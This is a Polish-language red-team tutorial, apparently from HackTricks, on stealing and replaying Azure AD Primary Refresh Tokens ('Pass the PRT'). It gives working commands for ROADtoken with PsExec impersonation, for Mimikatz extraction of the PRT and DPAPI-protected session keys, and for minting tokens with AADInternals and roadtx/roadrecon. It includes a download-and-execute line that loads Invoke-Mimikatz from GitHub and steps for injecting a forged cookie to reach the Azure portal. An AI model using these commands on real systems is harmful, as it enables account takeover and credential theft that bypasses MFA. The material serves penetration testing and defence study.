Az - Pass the PRT

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Co to jest PRT

pageAz - Primary Refresh Token (PRT)

Sprawdź, czy masz PRT

Dsregcmd.exe /status

W sekcji Stanu SSO powinieneś zobaczyć AzureAdPrt ustawione na YES.

W tym samym wyniku możesz również sprawdzić, czy urządzenie jest dołączone do Azure (w polu AzureAdJoined):

Ciasteczko PRT

Ciasteczko PRT jest faktycznie nazywane x-ms-RefreshTokenCredential i jest to Token JSON Web (JWT). JWT zawiera 3 części, nagłówek, ładunek i podpis, podzielone kropką . i wszystkie zakodowane w base64 w sposób bezpieczny dla adresu URL. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Rzeczywisty Token odświeżania podstawowy (PRT) jest zamknięty w refresh_token, który jest szyfrowany kluczem pod kontrolą Azure AD, co sprawia, że jego zawartość jest nieprzejrzysta i nie do odszyfrowania dla nas. Pole is_primary oznacza zamknięcie podstawowego tokenu odświeżania w tym tokenie. Aby zapewnić, że ciasteczko pozostaje powiązane z konkretną sesją logowania, request_nonce jest przesyłany z strony logon.microsoftonline.com.

Przepływ ciasteczka PRT przy użyciu TPM

Proces LSASS wyśle do TPM kontekst KDF, a TPM użyje klucza sesji (zebranego podczas rejestracji urządzenia w AzureAD i przechowywanego w TPM) oraz poprzedniego kontekstu do pochodzenia klucza, a ten pochodny klucz jest używany do podpisania ciasteczka PRT (JWT).

Kontekst KDF to nonce z AzureAD i PRT tworzący JWT zmieszany z kontekstem (losowe bajty).

Dlatego nawet jeśli PTR nie może być wyodrębniony, ponieważ znajduje się wewnątrz TPM, można nadal wykorzystać LSASS do żądania kluczy pochodnych z nowych kontekstów i użyć wygenerowanych kluczy do podpisywania Ciasteczek.

Scenariusze nadużycia PRT

Jako zwykły użytkownik można żądać użycia PRT poprzez prośbę do LSASS o dane SSO. Można to zrobić jak aplikacje natywne, które żądają tokenów od Menedżera Kont Webowych (broker tokenów). WAM przekazuje żądanie do LSASS, który prosi o tokeny, używając podpisanej deklaracji PRT. Lub można to zrobić za pomocą przepływów opartych na przeglądarce (web), gdzie ciasteczko PRT jest używane jako nagłówek do uwierzytelniania żądań do stron logowania Azure AS.

Jako SYSTEM można ukraść PRT, jeśli nie jest chroniony przez TPM lub interagować z kluczami PRT w LSASS za pomocą interfejsów API kryptograficznych.

Przykłady ataków Pass-the-PRT

Atak - ROADtoken

Aby uzyskać więcej informacji na temat tej metody sprawdź ten post. ROADtoken uruchomi BrowserCore.exe z odpowiedniego katalogu i użyje go do uzyskania ciasteczka PRT. Następnie to ciasteczko można użyć z narzędziami ROADtools do uwierzytelniania i uzyskania trwałego tokenu odświeżania.

Aby wygenerować prawidłowe ciasteczko PRT, pierwszą rzeczą, którą potrzebujesz, jest nonce. Możesz to uzyskać za pomocą:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Lub używając roadrecon:

roadrecon auth prt-init

Następnie możesz użyć roadtoken, aby uzyskać nowy PRT (uruchom narzędzie z procesu użytkownika do ataku):

.\ROADtoken.exe <nonce>

Tłumaczenie:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Następnie możesz użyć wygenerowanego ciasteczka do generowania tokenów i logowania za pomocą Azure AD Graph lub Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Atak - Użycie roadrecon

Atak - Użycie AADInternals i wyciekłego PTR

Get-AADIntUserPRTToken pobiera token PRT użytkownika z komputera dołączonego do Azure AD lub hybrydowo dołączonego. Wykorzystuje BrowserCore.exe do pobrania tokenu PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

lub jeśli masz wartości z Mimikatz, możesz również użyć AADInternals do wygenerowania tokena:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Przejdź do https://login.microsoftonline.com, wyczyść wszystkie pliki cookie dla login.microsoftonline.com i wprowadź nowe cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Następnie przejdź do https://portal.azure.com

Reszta powinna być domyślna. Upewnij się, że możesz odświeżyć stronę, a ciasteczko nie zniknie. Jeśli zniknie, możesz popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie zniknie, powinieneś być w porządku.

Atak - Mimikatz

Kroki

  1. PRT (Primary Refresh Token) jest wyodrębniany z LSASS (Local Security Authority Subsystem Service) i przechowywany do późniejszego użycia.

  2. Następnie wyodrębniany jest Klucz Sesji. Ponieważ ten klucz jest początkowo wydawany, a następnie ponownie szyfrowany przez lokalne urządzenie, konieczne jest odszyfrowanie za pomocą klucza głównego DPAPI. Szczegółowe informacje na temat DPAPI (Data Protection API) można znaleźć w tych zasobach: HackTricks, a dla zrozumienia jego zastosowania, należy odnieść się do ataku Pass-the-cookie.

  3. Po odszyfrowaniu Klucza Sesji uzyskuje się klucz pochodny i kontekst dla PRT. Są one kluczowe dla tworzenia ciasteczka PRT. Konkretnie, klucz pochodny jest wykorzystywany do podpisywania JWT (JSON Web Token), który stanowi ciasteczko. Pełne wyjaśnienie tego procesu zostało dostarczone przez Dirk-jana, dostępne tutaj.

Zauważ, że jeśli PRT znajduje się w TPM, a nie w lsass, mimikatz nie będzie w stanie go wyodrębnić. Jednak będzie możliwe uzyskanie klucza z klucza pochodnego z kontekstu z TPM i wykorzystanie go do podpisania ciasteczka (sprawdź opcję 3).

Możesz znaleźć szczegółowe wyjaśnienie przeprowadzonego procesu w celu wyodrębnienia tych szczegółów tutaj: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

To nie będzie działać dokładnie po poprawkach z sierpnia 2021 r., aby uzyskać tokeny PRT innych użytkowników, ponieważ tylko użytkownik może uzyskać swój PRT (administrator lokalny nie może uzyskać dostępu do PRT innych użytkowników), ale może uzyskać swój.

Możesz użyć mimikatz do wyodrębnienia PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Skopiuj część oznaczoną jako Prt i zapisz ją. Wyodrębnij również klucz sesji (wartość KeyValue pola ProofOfPossesionKey), który widzisz zaznaczony poniżej. Jest on zaszyfrowany i będziemy musieli użyć naszych kluczy głównych DPAPI do jego odszyfrowania.

Jeśli nie widzisz żadnych danych PRT, może to oznaczać, że nie masz żadnych PRT, ponieważ urządzenie nie jest dołączone do Azure AD, lub może to być spowodowane tym, że używasz starej wersji systemu Windows 10.

Aby odszyfrować klucz sesji, musisz podnieść swoje uprawnienia do SYSTEMU, aby działać w kontekście komputera i móc użyć klucza głównego DPAPI do odszyfrowania. Możesz skorzystać z poniższych poleceń:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opcja 1 - Pełny Mimikatz

  • Teraz chcesz skopiować zarówno wartość kontekstu:

  • Jak i wartość klucza pochodnego:

  • W końcu możesz użyć wszystkich tych informacji do generowania plików cookie PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Reszta powinna być domyślna. Upewnij się, że możesz odświeżyć stronę, a ciasteczko nie zniknie. Jeśli zniknie, możesz popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie zniknie, powinieneś być w porządku.

Opcja 2 - roadrecon za pomocą PTR

  • Najpierw odnowić PRT, który zostanie zapisany w roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Teraz możemy żądać tokenów za pomocą interaktywnej przeglądarki za pomocą polecenia roadtx browserprtauth. Jeśli użyjemy polecenia roadtx describe, zobaczymy, że token dostępu zawiera twierdzenie MFA, ponieważ PRT, którego w tym przypadku użyłem, również zawiera twierdzenie MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opcja 3 - roadrecon z użyciem wygenerowanych kluczy

Mając kontekst i wygenerowany klucz wycieknięty przez mimikatz, można użyć roadrecon do wygenerowania nowego podpisanego ciasteczka za pomocą:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated